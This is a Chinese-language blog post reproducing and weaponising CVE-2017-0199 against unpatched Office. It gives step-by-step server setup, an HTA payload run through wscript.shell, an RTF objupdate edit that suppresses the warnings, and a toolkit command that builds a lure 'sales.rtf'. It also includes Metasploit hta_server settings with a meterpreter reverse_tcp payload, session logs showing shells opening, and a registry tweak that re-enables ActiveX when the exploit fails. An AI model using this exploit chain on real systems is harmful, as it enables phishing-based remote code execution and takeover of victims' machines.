漏洞原理移步 绿盟.
环境 Ubuntu 16.04 for WSL, Windows 7, Office 2010.
复现过程
搭建 Apache 服务器.
sudo apt install apache2 php
编辑 /etc/apache2/apache2.conf
, 添加以下内容.
<Directory /var/www/html/>
AllowOverride All
</Directory>
重启 Apache.
sudo service apache2 restart
在网站目录下创建 .htaccess 文件, 内容如下.
AddType application/rtf .rtf
同目录下创建 test.rtf 作为 Payload.
test
<script>
var ws = new ActiveXObject("wscript.shell");
ws.Run("%SystemRoot%\\system32\\calc.exe");
window.close();
</script>
创建任意文档(注意要在未打补丁的环境下创建), 添加对象.
另存为 rtf 格式.
更改 .htaccess 为如下内容.
AddType application/hta .rtf
清除 IE 缓存, 重新打开文档.
点击 “是”.
复现成功.
但这里就有三个问题: 1. calc 被执行两次 2. 两个警告对话框 3. 文档是 rtf 格式.
第一个问题在我这无法解决, 那么如何让用户去点击按钮, 而且是在日常中不是很常见的 rtf 文档里呢?
改进载荷
关于第一个问题, Payload 执行两次一般来说并没有什么太大的影响 (至少对我来说).
下面解决第二个问题.
用编辑器打开 rtf 文档, 找到以下字符串.
\object\objautlink\rsltpict
修改为.
\object\objautlink\objupdate\rsltpict
这里我们添加了 objupdate 参数, 它将使文档被打开时自动更新文档中对象的内容, 也就是自动去请求 Payload.
再次打开后就会自动执行 calc 命令, 而且你会发现第二个警告框也没有了
对于第三个问题, 添加的 objupdate 参数是 rtf 的特性, docx 不能兼容, 但是当文件名以 .doc 结尾的时候却能够成功打开.
问题解决.
武器化
生成恶意文档.
cve-2017-0199-toolkit.py -M gen -t rtf -w sales.rtf -u http://192.168.1.1/test.hta
这里对 Payload 的后缀没有限制, 只要返回头中存在 Content-Type: application/hta
即可.
例如 PHP.
<?php @header("Content-Type: application/hta");?>
test
<script>
var a = new ActiveXObject("wscript.shell");
a.Run("%SystemRoot%\\system32\\calc.exe");
window.close();
</script>
此外 toolkit 中还有启动服务器的选项, 不过我更喜欢自己构造 Payload
使用 Metasploit 作为 hta 服务器 (Cobalt Strike Empire 同理).
use exploit/windows/misc/hta_server
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.1
run -j
下面只需要打开文档.
[*] 192.168.1.102 hta_server - Delivering Payload
[*] Sending stage (179779 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.102:49183) at 2019-07-31 17:35:53 +0800
[*] Sending stage (179779 bytes) to 192.168.1.102
[*] Meterpreter session 2 opened (192.168.1.1:4444 -> 192.168.1.102:49184) at 2019-07-31 17:35:54 +0800
成功.
利用失败
如果你利用失败了, 很大可能是系统默认禁用了通过 hta 方式执行 ActiveX, 这也是这个漏洞为什么那么鸡肋的原因.
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{3050f4d8-98b5-11cf-BB82-00AA00BDCE0B}]
"Compatibility Flags"=dword:00000000
另存为 allow.reg, 然后双击合并.
- By:X1r0z[exp10it.cn]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论